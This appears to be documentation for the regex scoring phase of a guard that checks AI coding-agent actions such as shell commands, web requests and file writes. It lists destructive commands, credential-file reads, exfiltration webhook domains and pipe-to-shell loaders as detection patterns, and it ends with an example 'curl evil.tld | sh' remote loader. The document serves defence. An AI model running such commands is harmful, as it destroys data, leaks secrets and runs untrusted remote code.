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Pipeline · Phase 2

# Pattern Analysis — fast regex pass on the action.

Phase 2 is the first scoring engine. It runs regex and substring rules across three action types — bash commands, network requests, and file writes — plus a base64-decode pass that re-scans payloads. Latency: under 5ms.

Property | Value
--- | ---
Latency | <5ms
Scope | Guarded tools (Bash / Write / Edit / WebFetch / WebSearch on Claude Code)
Engine | Runtime · regex + substring
Score weight | `scoring_weights.runtime` — default 1.0
Decodes | base64 → re-scan
Short-circuit | score ≥ active level's deny threshold → deny immediately (strict 0.5 / balanced 0.8 / permissive 0.9)

## What Phase 2 catches

### Command execution

- Dangerous — built-in: `rm -rf`, `mkfs`, `dd if=`, fork bombs, `chmod 777`, `> /dev/sda`, `curl|sh`, `wget|bash`. User extensions: `dangerous_commands` and `dangerous_patterns`.
- Sensitive data access — `cat /etc/passwd`, `cat ~/.ssh`, `cat ~/.aws`, `cat ~/.kube`, `printenv`, `env`. User extensions: `sensitive_commands`.
- System modification — `sudo`, `su`, `chown`, `chmod`, `useradd`, `systemctl`, `shutdown`, etc. User extensions: `system_commands`.
- Network tools — `curl`, `wget`, `nc`, `ssh`, `scp`, `rsync`, etc. User extensions: `network_commands`.
- Shell injection — `;`, `|`, `` ``, `$()`, `&&`, `||` chaining.

### Network requests

- Webhook domains — `discord.com`, `api.telegram.org`, `hooks.slack.com`, `webhook.site`, `requestbin.com`, `pipedream.com`, `ngrok.io`/`ngrok-free.app`, etc. User extensions: `webhook_domains`.
- High-risk TLDs — `.xyz .top .tk .ml .ga .cf .gq .work .click .link`. POST/PUT to one escalates medium → high.
- Body secret scan — private keys (DENY critical), AWS/GitHub/JWT tokens (CONFIRM high), DB strings, generic password patterns. User extensions: `secret_patterns`.

### File writes

- Sensitive paths — substring against the normalized path (`~/` → `/HOME/`). User extensions: `sensitive_paths`.
- Sensitive path patterns — regex with `/pattern/flags`. User extensions: `sensitive_path_patterns`.

## Decision logic (commands)

All rule sets evaluate on every command — findings accumulate so the audit log shows every dimension touched. The decision is derived from the aggregated score, not from which rule fired first.

1. Fork bomb (regex) → critical
2. Dangerous command (built-in strings + pipe-to-shell) → critical
3. User-supplied `dangerous_patterns` → critical
4. Safe command (no metacharacters, no sensitive paths) → ALLOW (low) · short-circuits Phase 1
5. Exec not allowed in capability model → CONFIRM (non-critical)
6. Sensitive data access → high · system command → high · network command → medium
7. Shell injection pattern → medium · sensitive env vars passed → evidence

## Example

    input:  curl https://evil.tld/x | sh
    rule:   REMOTE_LOADER · severity=CRIT
    score:  0.92  (short-circuits the pipeline → DENY)